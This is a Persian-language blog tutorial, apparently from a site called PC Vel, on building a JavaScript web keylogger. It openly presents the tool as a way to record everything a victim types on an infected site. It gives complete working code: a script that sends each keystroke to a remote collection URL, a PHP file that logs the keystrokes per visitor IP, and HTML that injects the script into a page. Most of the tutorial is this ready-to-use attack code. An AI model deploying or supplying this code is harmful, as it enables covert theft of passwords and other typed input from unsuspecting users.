آموزش ساخت Javascript Keylogger » با سلام برای این ساعت از سایت پی سی ول براتون آموزشی تهیه کردم که میدونم همه علاقه شدیدی به این دسته آموزشها دارند
برای این ساعت آموزش ساخت کی لاگر Keylogger تحت وب به زبان Javascript آماده کردم که امیدوارم مورد استقبال قرار بگیره

طرز کار کی لاگر :
این key-logger تمام دکمه هایی که یک کاربر حین ورود به یک سایت را میزنه را داخل یک فایل TXT ذخیره میکنه و این keylogger کاملا تحت وب هست و تا زمانی که سایت آلوده باز باشد کلیه کلیدهای زده شده از صفحه کلید توسط قربانی برای صاحب کی لاگر ذخیره میشود
روش ساخت در چند قدم به ترتیب :
1. یک فایل TEXT ساخته و نام آن را به record.js تغییر میدهیم و داخل آن متن زیر را کپی مینماییم :
ضمنا مقدار http://site.com/record را به سایت خود تغییر میدهیم
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
function behavior(event)
{
var keya = "";
keya = event.keyCode;
keyb = String.fromCharCode(keya);
makeRequest('http://site.com/record/write.php?on=' + keyb);
}
function makeRequest(url)
{
var httpRequest;
if (window.XMLHttpRequest)
{ // Mozilla, Safari
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!httpRequest)
{
return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open('GET', url, true);
httpRequest.send(null);
}
function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{
}
}
} |
2. دوباره یک فایل text میسازیم و اسم آن را به write.php تغییر میدهیم و اطلاعات زیر را در آن کپی مینماییم :
|
1 2 3 4 5 6 |
<?php
$_GET['on'];
$file = fopen($_SERVER['REMOTE_ADDR'] . ".txt","a");
fwrite($file,$_GET['on'] . '||');
fclose($file);
?> |
کی لاگر شما با موفقیت ساخته شده
حال آن را باید در داخل صفحه مورد نظر load نماییم تا اسکریپت کار خودش رو شروع نماید
به عنوان مثال ما یک فایل با نام omid.php داریم حال این صفحه میتونه index یک سایت باشه فرقی نمیکنه تغییرات زیر را در آن اعمال میکنیم
|
1 2 3 4 5 6 7 8 9 10 11 12 |
<html>
<head>
<SCRIPT language="javascript" SRC="record.js"></SCRIPT>
</head>
<body onkeyup="behavior(event)">
Page Content
</body>
</html> |
این اموزش برای اولین بار در ایران توسط امید صمدبین در گروه پی سی ول آماده شده است